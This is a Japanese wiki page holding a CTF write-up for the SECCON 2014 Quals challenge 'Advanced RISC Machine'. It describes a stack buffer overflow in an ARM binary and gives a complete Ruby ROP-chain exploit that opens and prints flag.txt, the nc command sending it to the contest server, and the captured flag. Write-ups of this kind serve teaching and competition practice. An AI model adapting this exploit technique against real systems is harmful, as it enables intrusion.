ログイン
編集不可のページディスカッション情報添付ファイル
CTF/Writeup/SECCON 2014 Quals Online Winter/Advanced RISC Machine

MMA

Advanced RISC Machine (Exploit 300pts)

ARMのバイナリが与えられるので読んで解析した。解析結果

0x4254にある関数は1行データを読み出すのだが、バッファーの大きさを考慮しない。 そのため、バッファーオーバーフローを用いてスタックの状態を任意に書き変えることが出来る。

この問題では、スタックが実行可能じゃないため、関数の戻り先を実行したい命令 + "pop {pc}"にして好きな命令を実行していく。戻り先としては次のものを利用した。

これらを組み合わせて、syscall(5(OPEN), "flag.txt"), read(fd, buf, 40), print(buf)を行うようなexploitを作成した。

   1 def print2(offset, start = false) 
   2   res = []
   3   unless start
   4     res = [0x42b0]
   5   end
   6   res + [offset, 0, 0, 0, 0, 0, 0, 0x4270]
   7 end
   8 
   9 def setr0(number)
  10   [0x42b0,'str0.'+(24-number).to_s, 0, 0, 0, 0, 0, 0, 0x4270]
  11 end
  12 
  13 def syscall(r1, r2, r3, r4, r5, r6, fp) 
  14   [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x404c]
  15 end
  16 
  17 def putchar()
  18   [0x41bc]
  19 end
  20 
  21 def read_without_r0(r1,r2,r3,r4,r5,r6,fp) 
  22   [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x4034]
  23 end
  24 
  25 # attack
  26 stack = setr0(5) + 
  27   syscall('str1', 0, 0, 0, 0, 0, 0) + 
  28   read_without_r0('str4', 40, 0, 0, 0, 0, 0) + 
  29   print2('str4')
  30 
  31 stack = stack[1..-1]
  32 strs = ['_' * 24 + "\0" * 4, "flag.txt\0\0\0\0", "aaa\0\0\0\0\0", 'END!!!', 'hogefugahofegua']
  33 
  34 pos = 0x1fffefd8 + stack.size * 4
  35 strs.each.with_index do |a,i|
  36   stack.map!{|a|
  37     if a == 'str' + (i).to_s
  38       pos
  39     elsif a.is_a?(String) && a.start_with?('str' + (i).to_s + '.')
  40       l = ('str'+i.to_s+'.').size
  41       pos + a[l..-1].to_i
  42     else
  43       a
  44     end
  45   }
  46   pos += a.size
  47 end
  48 print stack.pack("I*") + strs*''
  49 print "\n"

$ ruby exploit.rb | nc micro.pwn.seccon.jp 10001
Input password: _____SECCON{TeaBreakAtWork}

CTF/Writeup/SECCON 2014 Quals Online Winter/Advanced RISC Machine (最終更新日時 2014-12-09 12:38:52 更新者 nomeaning)